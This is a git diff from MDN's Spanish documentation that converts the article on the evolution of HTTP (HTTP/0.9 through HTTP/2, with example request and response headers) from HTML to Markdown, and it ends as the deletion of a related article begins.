Al contrario que sus posteriores evoluciones, el protocolo HTTP/0.9 no usa cabeceras HTTP, con lo cual únicamente es posible transmitir archivos HTML, y ningún otro tipo de archivos. Tampoco había información del estado ni códigos de error: en el caso un problema, el archivo HTML pedido, era devuelto con una descripción del problema dentro de él, para que una persona pudiera analizarlo.

- -

HTTP/1.0 – Desarrollando expansibilidad

- -

La versión HTTP/0.9 era ciertamente limitada y tanto los navegadores como los servidores, pronto ampliaron el protocolo para que fuera más flexible.

- -
    -
  • La versión del protocolo se envía con cada petición: HTTP/1.0 se añade a la línea de la petición GET.
    • -
  • Se envía también un código de estado al comienzo de la respuesta, permitiendo así que el navegador pueda responder al éxito o fracaso de la petición realizada, y actuar en consecuencia (como actualizar el archivo o usar la caché local de algún modo).
    • -
  • El concepto de cabeceras de HTTP, se presentó tanto para las peticiones como para las respuestas, permitiendo la trasmisión de meta-data y conformando un protocolo muy versátil y ampliable.
    • -
  • Con el uso de las cabeceras de HTTP, se pudieron transmitir otros documentos además de HTML, mediante la cabecera {{HTTPHeader("Content-Type")}}.
    • -
- -

Una petición normal, sigue la estructura:

- -
GET /mypage.html HTTP/1.0
-User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
-
-200 OK
-Date: Tue, 15 Nov 1994 08:12:31 GMT
-Server: CERN/3.0 libwww/2.17
-Content-Type: text/html
-<HTML>
-Una pagina web con una imagen
-  <IMG SRC="/miImagen.gif">
-</HTML>
- -

Continua con una segunda conexión y la petición de una imagen:

- -
GET /myImagen.gif HTTP/1.0
-User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
-
-200 OK
-Date: Tue, 15 Nov 1994 08:12:32 GMT
-Server: CERN/3.0 libwww/2.17
-Content-Type: text/gif
-(image content)
- -

Estas innovaciones, no se desarrollaron de forma planeada, sino más bien con una aproximación de prueba y error, entre los años 1991 y 1995: un servidor y un navegador, añadían una nueva funcionalidad y se evaluaba su aceptación. Debido a esto, en ese periodo eran muy comunes los problemas de interoperatividad. En Noviembre de 1996, para poner fin a estos problemas se publicó un documento informativo que describía las prácticas adecuadas, {{RFC(1945)}}. Esté documento es la definición del protocolo HTTP/1.0. Resulta curioso, que realmente no es un estándar oficial.

- -

HTTP/1.1 – El protocolo estándar.

- -

En paralelo al uso, un poco desordenado, y las diversas implementaciones de HTTP/1.0, y desde el año 1995, un año antes de la publicación del documento del HTTP/1.0, un proceso de estandarización formal ya estaba en curso. La primera versión estandarizada de HTTP: el protocolo HTTP/1.1, se publicó en 1997, tan solo unos meses después del HTTP/1.0

- -

HTTP/1.1 aclaró ambigüedades y añadió numerosas mejoras:

- -
    -
  • Una conexión podía ser reutilizada, ahorrando así el tiempo de re-abrirla repetidas veces para mostrar los recursos empotrados dentro del documento original pedido.
    • -
  • Enrutamiento ('Pipelining' en inglés) se añadió a la especificación, permitiendo realizar una segunda petición de datos, antes de que fuera respondida la primera, disminuyendo de este modo la latencia de la comunicación.
    • -
  • Se permitió que las respuestas a peticiones, podían ser divididas en sub-partes.
    • -
  • Se añadieron controles adicionales a los mecanismos de gestión de la cache.
    • -
  • La negociación de contenido, incluyendo el lenguaje, el tipo de codificación, o tipos, se añadieron a la especificación, permitiendo que servidor y cliente, acordasen el contenido más adecuado a intercambiarse.
    • -
  • Gracias a la cabecera, {{HTTPHeader("Host")}}, pudo ser posible alojar varios dominios en la misma dirección IP.
    • -
- -

El flujo normal de una serie de peticiones y respuestas, bajo una única conexión, se expone a continuación:

- -
GET /en-US/docs/Glossary/Simple_header HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate, br
-Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
-
-200 OK
-Connection: Keep-Alive
-Content-Encoding: gzip
-Content-Type: text/html; charset=utf-8
-Date: Wed, 20 Jul 2016 10:55:30 GMT
-Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
-Keep-Alive: timeout=5, max=1000
-Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
-Server: Apache
-Transfer-Encoding: chunked
-Vary: Cookie, Accept-Encoding
-
-(...contenido...)
-
-
-GET /static/img/header-background.png HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: */*
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate, br
-Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
-
-200 OK
-Age: 9578461
-Cache-Control: public, max-age=315360000
-Connection: keep-alive
-Content-Length: 3077
-Content-Type: image/png
-Date: Thu, 31 Mar 2016 13:34:46 GMT
-Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
-Server: Apache
-
-(image content of 3077 bytes)
- -

HTTP/1.1 fue publicado inicialmente como {{rfc(2068)}} en Enero de 1997.

- -

Más de 15 años de expansiones

- -

Gracias a su expansibilidad - ya que la creación de nuevas cabeceras o métodos es sencilla - e incluso teniendo en cuenta que el protocolo HTTP/1.1 fue mejorado en dos revisiones: la primera, el documento {{RFC("2616")}}, publicado en Junio de 1999 y posteriormente en los documentos {{RFC("7230")}}-{{RFC("7235")}} publicados en Junio del 2014, en previsión de la publicación de HTTP/2. Así pues, el protocolo HTTP/1.1 ha sido increíblemente estable durante más de 15 años.

- -

El uso de HTTP para transmisiones seguras

- -

El mayor cambio en el desarrollo de HTTP, fue a finales de 1994. En vez de trasmitir HTTP sobre la capa de TCP/IP, se creo una capa adicional sobre esta: SSL. La versión SSL 1.0 nunca fue publicada fuera de las compañías desarrolladoras, pero el SSL 2.0 y sus sucesoras SSL 3.0 y SSL 3.1 permitieron la creación del comercio electrónico en la Web (e-commerce), encriptando y garantizando la autenticidad de los mensajes intercambiados entre servidor y cliente. SSL se añadió a la lista de estándares y posteriormente evolucionó hasta ser el protocolo TLS, con versiones 1.0, 1.1 y 1.2, que fueron apareciendo para resolver vulnerabilidades. Actualmente se está desarrollando el protocolo TLS 1.3.

- -

Durante el mismo periodo, la necesidad por una capa de trasporte encriptada aumentó; la Web, que permitía una relativa confianza de lo que era una mayoría de trabajo académico, pasó a ser una jungla donde anuncios, individuos aleatorios o criminales competían para obtener tanta información privada sobre la gente como pudieran, o trataban de suplantarlos o incluso sustituir los datos trasmitidos por otros alterados. A medida que hubo aplicaciones que se desarrollaban y funcionaban sobre HTTP, fueron más y más funcionales, tener acceso a más y mayor información personal como contactos, e-mails, o posición geográfica del usuario, la necesidad de tener el protocolo TLS, fue fundamental incluso fuera del ámbito del comercio electrónico.

- -

Uso de HTTP para aplicaciones complejas

- -

La visión original de Tim Berners-Lee para la Web no era solo un medio de 'solo' lectura. Él había visionado una Web donde la gente pudiese añadir y mover documentos de forma remota, un estilo de sistema de archivos distribuido. Sobre el año 1996, HTTP se había desarrollado para permitir la autoría, y fue creado un estándar denominado WebDAB. Este fue más tarde ampliado por aplicaciones especificas como CardDAV, para permitir libros de direcciones, y CalDAV para trabajar con calendarios. Pero todos estas extensiones '*DAV', tenían una debilidad, y es que debian ser implementadas por los servidores, para poder ser usadas, lo cual era bastante complejo. Así pues su uso en la Web fue bastante acotado.

- -

En el año 2000, un nuevo formato para usar HTTP fue diseñado: REST (del inglés: '{{glossary("REST", "Representational State Transfer")}}'). Las acciones de la nueva API, no estaban supeditadas a nuevos métodos HTTP, unicamente al acceso a URIs especificas con métodos HTTP/1.1). Esto permitió que cualquier aplicación Web dispusiera de una API, para permitir la recuperación y modificación de datos, sin tener que actualizar servidores o navegadores; todo lo que se necesitaba era incluido en los archivos servidos por los sitios Web. La contrapartida del modelo REST está en que cada sitio Web define su propia versión no estándar de API RESTful y tiene un control total sobre ella; al contrario del formato *DAV donde clientes y servidores eran interoperables. La arquitectura REST empezó a ser muy común a partir del año 2010.

- -

Desde el año 2005, las APIs disponibles para páginas Web han aumentado considerablemente, y muchas de estas nuevas APIs dependen de cabeceras HTTP específicas para funciones concretas:

- -
    -
  • Eventos enviados por el servidor: El servidor es el que ocasionalmente inicia los mensajes hacia el navegador.
    • -
  • WebSocket, un nuevo protocolo que puede establecerse actualizando una conexión HTTP existente.
    • -
- -

Relajación del modelo de seguridad de la Web

- -

El protocolo HTTP es independiente del modelo de seguridad de la Web: la política del mismo origen. De hecho, el actual modelo de seguridad de la Web, ha sido desarrollado con posterioridad a la creación del protocolo HTTP. A lo largo de los años, se ha probado útil, poder ser más permisivo con ella, permitiendo que bajo ciertos requerimientos se puedan levantar algunas de las restricciones de esta política. Cuanto y cuantas de estas restricciones se pueden saltar es comunicado desde el servidor al cliente, mediante una serie de nuevas cabeceras HTTP. Estas están especificadas en los documentos como CORS ( del inglés Cross-Origin Resource Sharing, que viene a significar: recursos compartidos de orígenes cruzados) y el CSP (del inglés: Content Security Policy , que traducido es: política de seguridad de contenidos).

- -

Además de estas ampliaciones, muchas otras cabeceras han sido añadidas, algunas unicamente experimentales. Algunas de ellas notables son: Do Not Track ({{HTTPHeader("DNT")}}); cabecera de control de privacidad: {{HTTPHeader("X-Frame-Options")}}, y {{HTTPHeader('Upgrade-Insecure-Requests')}}.

- -

HTTP/2 – Un protocolo para un mayor rendimiento

- -

A lo largo de los años, las páginas Web han llegado a ser mucho más complejas, incluso llegando a poder considerarse como aplicaciones por derecho propio. La cantidad de contenido visual, el tamaño de los scripts, y los scripts que añaden interactividad ha aumentado mucho también. Muchismos más datos son transmitidos bajo muchas mas peticiónes HTTP. Las conexiones HTTP/1.1 han de enviar las peticiones HTTP en el orden correcto. Teóricamente, seria posible usar varias conexiones en paralelo (normalmente entre 5 y 8), aumentando consecuentemente la complejidad del proceso. Por ejemplo, el HTTP 'pipelining' ha demostrado ser un lastre para el desarrollo Web.

- -

En la primera mitad de la década de 2010, Google demostró un proceso alternativo para el intercambio de data entre clientes y servidores, implementando el protocolo experimental SPDY (pronunciado como en inglés 'speedy'). Este atrajo mucho interés por los desarrolladores de tanto los navegadores como los servidores. Definiendo una mejora en los tiempos de respuesta, y resolviendo el problema de datos duplicados transmitidos. SPDY sirvió como base para el desarrollo del protocolo HTTP/2.

- -

El protocolo HTTP/2, tiene notables diferencias fundamentales respecto a la versión anterior HTTP/1.1

- -
    -
  • Es un protocolo binario, en contraposición a estar formado por cadenas de texto, tal y como estában basados sus protocolos anteriores. Así pues no se puede leer directamente, ni crear manualmente A pesar de este inconveniente, gracias a este cambio es posible utilizar en él técnicas de optimización.
    • -
  • Es un protocolo multiplexado. Peticiones paralelas pueden hacerse sobre la misma connexión, no está sujeto pues a mantener el orden de los mensajes, ni otras restricciónes que tenian los protocolos anteriores HTTP/1.x
    • -
  • Comprime las cabeceras, ya que estas, normalmente son similares en un grupo de peticiones. Esto elimina la duplicación y retardo en los datos a transmitir.
    • -
  • Esto permite al servidor almacenar datos en la caché del cliente, previamente a que estos sean pedidos, mediante un mecanismo denominado 'server push'.
    • -
- -

Estandarizado de manera oficial en Mayo de 2015, HTTP/2 ha conseguido muchos éxitos. En Julio de 2016, un 8.7% de todos los sitios Web[1] estaban usandolo ya, representando más del 68% de todo su tráfico[2]. Los sitios Web con mucho tráfico, fueron aquellos que lo adoptaron más rápidamente, ahorrando considerablemente las sobrecargas en la transferencia de datos, ... y en sus presupuestos.

- -

Esta rápida adopción era esperada, ya que el uso de HTTP/2, no requiere de una adaptación de los sitios Web y aplicaciones: el uso de HTTP/1.1 o HTTP/2 es transparente para ellos. El uso de un servidor actual, comunicandose con un navegador actualizado, es suficiente para permitir su uso: únicamente en casos partículares fue necesario impulsar su utilización; y según se actualizan servidores y navegadores antiguos, su utilización aumenta, sin que requiera un mayor esfuerzo de los desarrolladores Web.

- -

Post-evolución del HTTP/2

- -

Con la publicación de la versión del protocolo HTTP/2, esté no ha dejado de evoluciónar. Como con el HTTP/1.x, anteriormente, la extensibilidad del HTTP se sigue usando para añadir nuevas funcionalidades. Podemos enumerar algunas de estas nuevas características que se desarrollaron en el año 2016:

- -
    -
  • Soporte de la cabecera {{HTTPHeader("Alt-Svc")}}, la cual permite disociar la identificación de una ubicación, con respecto a un recurso pedido, permitiendo el uso más inteligente de los mecanismos de cacheo de memoria de los {{Glossary("CDN")}}.
    • -
  • La introducción de la cabecera {{HTTPHeader("Client-Hints")}}, que permíte al navegador, o cliente, comunicar proactivamente al servidor, sus necesidades o restricciones de hardware.
    • -
  • La introducción de prefijos de seguridad en la cabecera {{HTTPHeader("Cookie")}}, esto ayuda a garantizar que una cookie, no ha sido alterada.
    • -
- -

Esta evolución del HTTP demuestra su capacidad de ampliación y simplicidad, permitiendo así de forma deliverada su uso para muchas aplicaciónes y favoreciendo el uso de este protocolo. El entorno en el que el HTTP se usa hoy en día, es muy distinto al que habia a principios de la década de 1990. El desarrollo original de HTTP, ha demostrado ser una obra maestra, permitiendo a la Web evolucionar a lo largo de un cuarto de siglo, sin la necesidad de un 'amotinamiento'. Corrigiendo errores, y manteniendo la flexibilidad y extensibilidad que han hecho al HTTP un éxito, la adopción del HTTP/2 tiene un brillante futuro.

diff --git a/files/es/web/http/basics_of_http/evolution_of_http/index.md b/files/es/web/http/basics_of_http/evolution_of_http/index.md new file mode 100644 index 00000000000000..21e724808d24e0 --- /dev/null +++ b/files/es/web/http/basics_of_http/evolution_of_http/index.md @@ -0,0 +1,185 @@ +--- +title: Evolución del protocolo HTTP +slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +--- +{{HTTPSidebar}} + +**HTTP** es el protocolo en el que se basa la Web. Fue inventado por Tim Berners-Lee entre los años 1989-1991, HTTP ha visto muchos cambios, manteniendo la mayor parte de su simplicidad y desarrollando su flexibilidad. HTTP ha evolucionado, desde un protocolo destinado al intercambio de archivos en un entorno de un laboratorio semi-seguro, al actual laberinto de Internet, sirviendo ahora para el intercambio de imágenes, vídeos en alta resolución y en 3D. + +## Invención de la World Wide Web + +En 1989, mientras trabajaba en el CERN, Tim Berners-Lee escribió una propuesta para desarrollar un sistema de hipertexto sobre Internet. Inicialmente lo llamó: '_Mesh'_ (malla, en inglés), y posteriormente se renombró como _World Wide Web_ (red mundial), durante su implementación en 1990. Desarrollado sobre los protocolos existentes TCP e IP, está basado en cuatro bloques: + +- Un formato de texto para representar documentos de hiper-texto: _[HyperText Markup Language](/es/docs/Web/HTML)_ (HTML). +- Un protocolo sencillo para el intercambio de esos documentos, del inglés: _HypertText Transfer Protocol_ (HTTP) : protocolo de transferencia de hiper-texto. +- Un cliente que muestre (e incluso pueda editar) esos documentos. El primer navegador Web, llamado: _WorldWideWeb_. +- Un servidor para dar acceso a los documentos, una versión temprana: _httpd (http daemon)_ + +Estos cuatro bloques fundamentales se finalizaron para finales de 1990, y los primeros servidores estaban ya funcionando fuera del CERN a principios del 1991. El 6 de Agosto de 1991, el [post](https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ) de Tim Berners-Lee, se considera actualmente como el inicio oficial de la Web como proyecto público. + +La versión del protocolo HTTP usada en aquel momento, era realmente muy sencilla, posteriormente pasó a HTTP/0.9, referido algunas veces, como el protocolo de una sola línea. + +## HTTP/0.9 – El protocolo de una sola línea + +La versión inicial de HTTP, no tenía número de versión; aunque posteriormente se la denominó como 0.9 para distinguirla de las versiones siguientes. HTTP/0.9 es un protocolo extremadamente sencillo: una petición consiste simplemente en una única linea, que comienza por el único método posible {{HTTPMethod("GET")}}, seguido por la dirección del recurso a pedir (no la URL, ya que tanto el protocolo, el servidor y el puerto, no son necesarios una vez ya se ha conectado al servidor). + + GET /miPaginaWeb.html + +La respuesta también es muy sencilla: solamente consiste el archivo pedido. + + + Una pagina web muy sencilla + + +Al contrario que sus posteriores evoluciones, el protocolo HTTP/0.9 no usa cabeceras HTTP, con lo cual únicamente es posible transmitir archivos HTML, y ningún otro tipo de archivos. Tampoco había información del estado ni códigos de error: en el caso un problema, el archivo HTML pedido, era devuelto con una descripción del problema dentro de él, para que una persona pudiera analizarlo. + +## HTTP/1.0 – Desarrollando expansibilidad + +La versión HTTP/0.9 era ciertamente limitada y tanto los navegadores como los servidores, pronto ampliaron el protocolo para que fuera más flexible. + +- La versión del protocolo se envía con cada petición: HTTP/1.0 se añade a la línea de la petición GET. +- Se envía también un código de estado al comienzo de la respuesta, permitiendo así que el navegador pueda responder al éxito o fracaso de la petición realizada, y actuar en consecuencia (como actualizar el archivo o usar la caché local de algún modo). +- El concepto de cabeceras de HTTP, se presentó tanto para las peticiones como para las respuestas, permitiendo la trasmisión de meta-data y conformando un protocolo muy versátil y ampliable. +- Con el uso de las cabeceras de HTTP, se pudieron transmitir otros documentos además de HTML, mediante la cabecera {{HTTPHeader("Content-Type")}}. + +Una petición normal, sigue la estructura: + + GET /mypage.html HTTP/1.0 + User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) + + 200 OK + Date: Tue, 15 Nov 1994 08:12:31 GMT + Server: CERN/3.0 libwww/2.17 + Content-Type: text/html + + Una pagina web con una imagen + + + +Continua con una segunda conexión y la petición de una imagen: + + GET /myImagen.gif HTTP/1.0 + User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) + + 200 OK + Date: Tue, 15 Nov 1994 08:12:32 GMT + Server: CERN/3.0 libwww/2.17 + Content-Type: text/gif + (image content) + +Estas innovaciones, no se desarrollaron de forma planeada, sino más bien con una aproximación de prueba y error, entre los años 1991 y 1995: un servidor y un navegador, añadían una nueva funcionalidad y se evaluaba su aceptación. Debido a esto, en ese periodo eran muy comunes los problemas de interoperatividad. En Noviembre de 1996, para poner fin a estos problemas se publicó un documento informativo que describía las prácticas adecuadas, {{RFC(1945)}}. Esté documento es la definición del protocolo HTTP/1.0. Resulta curioso, que realmente no es un estándar oficial. + +## HTTP/1.1 – El protocolo estándar. + +En paralelo al uso, un poco desordenado, y las diversas implementaciones de HTTP/1.0, y desde el año 1995, un año antes de la publicación del documento del HTTP/1.0, un proceso de estandarización formal ya estaba en curso. La primera versión estandarizada de HTTP: el protocolo HTTP/1.1, se publicó en 1997, tan solo unos meses después del HTTP/1.0 + +HTTP/1.1 aclaró ambigüedades y añadió numerosas mejoras: + +- Una conexión podía ser reutilizada, ahorrando así el tiempo de re-abrirla repetidas veces para mostrar los recursos empotrados dentro del documento original pedido. +- Enrutamiento ('Pipelining' en inglés) se añadió a la especificación, permitiendo realizar una segunda petición de datos, antes de que fuera respondida la primera, disminuyendo de este modo la latencia de la comunicación. +- Se permitió que las respuestas a peticiones, podían ser divididas en sub-partes. +- Se añadieron controles adicionales a los mecanismos de gestión de la cache. +- La negociación de contenido, incluyendo el lenguaje, el tipo de codificación, o tipos, se añadieron a la especificación, permitiendo que servidor y cliente, acordasen el contenido más adecuado a intercambiarse. +- Gracias a la cabecera, {{HTTPHeader("Host")}}, pudo ser posible alojar varios dominios en la misma dirección IP. + +El flujo normal de una serie de peticiones y respuestas, bajo una única conexión, se expone a continuación: + + GET /en-US/docs/Glossary/Simple_header HTTP/1.1 + Host: developer.mozilla.org + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate, br + Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header + + 200 OK + Connection: Keep-Alive + Content-Encoding: gzip + Content-Type: text/html; charset=utf-8 + Date: Wed, 20 Jul 2016 10:55:30 GMT + Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" + Keep-Alive: timeout=5, max=1000 + Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT + Server: Apache + Transfer-Encoding: chunked + Vary: Cookie, Accept-Encoding + + (...contenido...) + + + GET /static/img/header-background.png HTTP/1.1 + Host: developer.mozilla.org + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 + Accept: */* + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate, br + Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header + + 200 OK + Age: 9578461 + Cache-Control: public, max-age=315360000 + Connection: keep-alive + Content-Length: 3077 + Content-Type: image/png + Date: Thu, 31 Mar 2016 13:34:46 GMT + Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT + Server: Apache + + (image content of 3077 bytes) + +HTTP/1.1 fue publicado inicialmente como {{rfc(2068)}} en Enero de 1997. + +## Más de 15 años de expansiones + +Gracias a su expansibilidad - ya que la creación de nuevas cabeceras o métodos es sencilla - e incluso teniendo en cuenta que el protocolo HTTP/1.1 fue mejorado en dos revisiones: la primera, el documento {{RFC("2616")}}, publicado en Junio de 1999 y posteriormente en los documentos {{RFC("7230")}}-{{RFC("7235")}} publicados en Junio del 2014, en previsión de la publicación de HTTP/2. Así pues, el protocolo HTTP/1.1 ha sido increíblemente estable durante más de 15 años. + +### El uso de HTTP para transmisiones seguras + +El mayor cambio en el desarrollo de HTTP, fue a finales de 1994. En vez de trasmitir HTTP sobre la capa de TCP/IP, se creo una capa adicional sobre esta: SSL. La versión SSL 1.0 nunca fue publicada fuera de las compañías desarrolladoras, pero el SSL 2.0 y sus sucesoras SSL 3.0 y SSL 3.1 permitieron la creación del comercio electrónico en la Web (e-commerce), encriptando y garantizando la autenticidad de los mensajes intercambiados entre servidor y cliente. SSL se añadió a la lista de estándares y posteriormente evolucionó hasta ser el protocolo TLS, con versiones 1.0, 1.1 y 1.2, que fueron apareciendo para resolver vulnerabilidades. Actualmente se está desarrollando el protocolo TLS 1.3. + +Durante el mismo periodo, la necesidad por una capa de trasporte encriptada aumentó; la Web, que permitía una relativa confianza de lo que era una mayoría de trabajo académico, pasó a ser una jungla donde anuncios, individuos aleatorios o criminales competían para obtener tanta información privada sobre la gente como pudieran, o trataban de suplantarlos o incluso sustituir los datos trasmitidos por otros alterados. A medida que hubo aplicaciones que se desarrollaban y funcionaban sobre HTTP, fueron más y más funcionales, tener acceso a más y mayor información personal como contactos, e-mails, o posición geográfica del usuario, la necesidad de tener el protocolo TLS, fue fundamental incluso fuera del ámbito del comercio electrónico. + +### Uso de HTTP para aplicaciones complejas + +La visión original de Tim Berners-Lee para la Web no era solo un medio de 'solo' lectura. Él había visionado una Web donde la gente pudiese añadir y mover documentos de forma remota, un estilo de sistema de archivos distribuido. Sobre el año 1996, HTTP se había desarrollado para permitir la autoría, y fue creado un estándar denominado WebDAB. Este fue más tarde ampliado por aplicaciones especificas como CardDAV, para permitir libros de direcciones, y CalDAV para trabajar con calendarios. Pero todos estas extensiones '\*DAV', tenían una debilidad, y es que debian ser implementadas por los servidores, para poder ser usadas, lo cual era bastante complejo. Así pues su uso en la Web fue bastante acotado. + +En el año 2000, un nuevo formato para usar HTTP fue diseñado: REST (del inglés: '{{glossary("REST", "Representational State Transfer")}}'). Las acciones de la nueva API, no estaban supeditadas a nuevos métodos HTTP, unicamente al acceso a URIs especificas con métodos HTTP/1.1). Esto permitió que cualquier aplicación Web dispusiera de una API, para permitir la recuperación y modificación de datos, sin tener que actualizar servidores o navegadores; todo lo que se necesitaba era incluido en los archivos servidos por los sitios Web. La contrapartida del modelo REST está en que cada sitio Web define su propia versión no estándar de API RESTful y tiene un control total sobre ella; al contrario del formato \*DAV donde clientes y servidores eran interoperables. La arquitectura REST empezó a ser muy común a partir del año 2010. + +Desde el año 2005, las APIs disponibles para páginas Web han aumentado considerablemente, y muchas de estas nuevas APIs dependen de cabeceras HTTP específicas para funciones concretas: + +- [Eventos enviados por el servidor](/es/docs/Web/API/Server-sent_events): El servidor es el que ocasionalmente inicia los mensajes hacia el navegador. +- [WebSocket](/es/docs/Web/API/WebSocket_API), un nuevo protocolo que puede establecerse actualizando una conexión HTTP existente. + +### Relajación del modelo de seguridad de la Web + +El protocolo HTTP es independiente del modelo de seguridad de la Web: la [política del mismo origen](/es/docs/Web/Security/Same-origin_policy). De hecho, el actual modelo de seguridad de la Web, ha sido desarrollado con posterioridad a la creación del protocolo HTTP. A lo largo de los años, se ha probado útil, poder ser más permisivo con ella, permitiendo que bajo ciertos requerimientos se puedan levantar algunas de las restricciones de esta política. Cuanto y cuantas de estas restricciones se pueden saltar es comunicado desde el servidor al cliente, mediante una serie de nuevas cabeceras HTTP. Estas están especificadas en los documentos como CORS ( del inglés [Cross-Origin Resource Sharing](/es/docs/Glossary/CORS), que viene a significar: recursos compartidos de orígenes cruzados) y el CSP (del inglés: [Content Security Policy](/es/docs/Web/Security/CSP) , que traducido es: política de seguridad de contenidos). + +Además de estas ampliaciones, muchas otras cabeceras han sido añadidas, algunas unicamente experimentales. Algunas de ellas notables son: Do Not Track ({{HTTPHeader("DNT")}}); cabecera de control de privacidad: {{HTTPHeader("X-Frame-Options")}}, y {{HTTPHeader('Upgrade-Insecure-Requests')}}. + +## HTTP/2 – Un protocolo para un mayor rendimiento + +A lo largo de los años, las páginas Web han llegado a ser mucho más complejas, incluso llegando a poder considerarse como aplicaciones por derecho propio. La cantidad de contenido visual, el tamaño de los scripts, y los scripts que añaden interactividad ha aumentado mucho también. Muchismos más datos son transmitidos bajo muchas mas peticiónes HTTP. Las conexiones HTTP/1.1 han de enviar las peticiones HTTP en el orden correcto. Teóricamente, seria posible usar varias conexiones en paralelo (normalmente entre 5 y 8), aumentando consecuentemente la complejidad del proceso. Por ejemplo, el HTTP 'pipelining' ha demostrado ser un lastre para el desarrollo Web. + +En la primera mitad de la década de 2010, Google demostró un proceso alternativo para el intercambio de data entre clientes y servidores, implementando el protocolo experimental SPDY (pronunciado como en inglés _'speedy'_). Este atrajo mucho interés por los desarrolladores de tanto los navegadores como los servidores. Definiendo una mejora en los tiempos de respuesta, y resolviendo el problema de datos duplicados transmitidos. SPDY sirvió como base para el desarrollo del protocolo HTTP/2. + +El protocolo HTTP/2, tiene notables diferencias fundamentales respecto a la versión anterior HTTP/1.1 + +- Es un protocolo binario, en contraposición a estar formado por cadenas de texto, tal y como estában basados sus protocolos anteriores. Así pues no se puede leer directamente, ni crear manualmente A pesar de este inconveniente, gracias a este cambio es posible utilizar en él técnicas de optimización. +- Es un protocolo multiplexado. Peticiones paralelas pueden hacerse sobre la misma connexión, no está sujeto pues a mantener el orden de los mensajes, ni otras restricciónes que tenian los protocolos anteriores HTTP/1.x +- Comprime las cabeceras, ya que estas, normalmente son similares en un grupo de peticiones. Esto elimina la duplicación y retardo en los datos a transmitir. +- Esto permite al servidor almacenar datos en la caché del cliente, previamente a que estos sean pedidos, mediante un mecanismo denominado '_server push_'. + +Estandarizado de manera oficial en Mayo de 2015, HTTP/2 ha conseguido muchos éxitos. En Julio de 2016, un 8.7% de todos los sitios Web[[1\]](https://w3techs.com/technologies/details/ce-http2/all/all) estaban usandolo ya, representando más del 68% de todo su tráfico[[2\]](https://www.keycdn.com/blog/http2-statistics/). Los sitios Web con mucho tráfico, fueron aquellos que lo adoptaron más rápidamente, ahorrando considerablemente las sobrecargas en la transferencia de datos, ... y en sus presupuestos. + +Esta rápida adopción era esperada, ya que el uso de HTTP/2, no requiere de una adaptación de los sitios Web y aplicaciones: el uso de HTTP/1.1 o HTTP/2 es transparente para ellos. El uso de un servidor actual, comunicandose con un navegador actualizado, es suficiente para permitir su uso: únicamente en casos partículares fue necesario impulsar su utilización; y según se actualizan servidores y navegadores antiguos, su utilización aumenta, sin que requiera un mayor esfuerzo de los desarrolladores Web. + +## Post-evolución del HTTP/2 + +Con la publicación de la versión del protocolo HTTP/2, esté no ha dejado de evoluciónar. Como con el HTTP/1.x, anteriormente, la extensibilidad del HTTP se sigue usando para añadir nuevas funcionalidades. Podemos enumerar algunas de estas nuevas características que se desarrollaron en el año 2016: + +- Soporte de la cabecera {{HTTPHeader("Alt-Svc")}}, la cual permite disociar la identificación de una ubicación, con respecto a un recurso pedido, permitiendo el uso más inteligente de los mecanismos de cacheo de memoria de los {{Glossary("CDN")}}. +- La introducción de la cabecera {{HTTPHeader("Client-Hints")}}, que permíte al navegador, o cliente, comunicar proactivamente al servidor, sus necesidades o restricciones de hardware. +- La introducción de prefijos de seguridad en la cabecera {{HTTPHeader("Cookie")}}, esto ayuda a garantizar que una cookie, no ha sido alterada. + +Esta evolución del HTTP demuestra su capacidad de ampliación y simplicidad, permitiendo así de forma deliverada su uso para muchas aplicaciónes y favoreciendo el uso de este protocolo. El entorno en el que el HTTP se usa hoy en día, es muy distinto al que habia a principios de la década de 1990. El desarrollo original de HTTP, ha demostrado ser una obra maestra, permitiendo a la Web evolucionar a lo largo de un cuarto de siglo, sin la necesidad de un 'amotinamiento'. Corrigiendo errores, y manteniendo la flexibilidad y extensibilidad que han hecho al HTTP un éxito, la adopción del HTTP/2 tiene un brillante futuro. diff --git a/files/es/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/es/web/http/basics_of_http/identifying_resources_on_the_web/index.html deleted file mode 100644 index da372d01795b6a..00000000000000 --- a/files/es/web/http/basics_of_http/identifying_resources_on_the_web/index.html +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: Identificación de recursos web -slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web -translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web -original_slug: Web/HTTP/Basics_of_HTTP/Identificación_recursos_en_la_Web ---- -
{{HTTPSidebar}}
- -

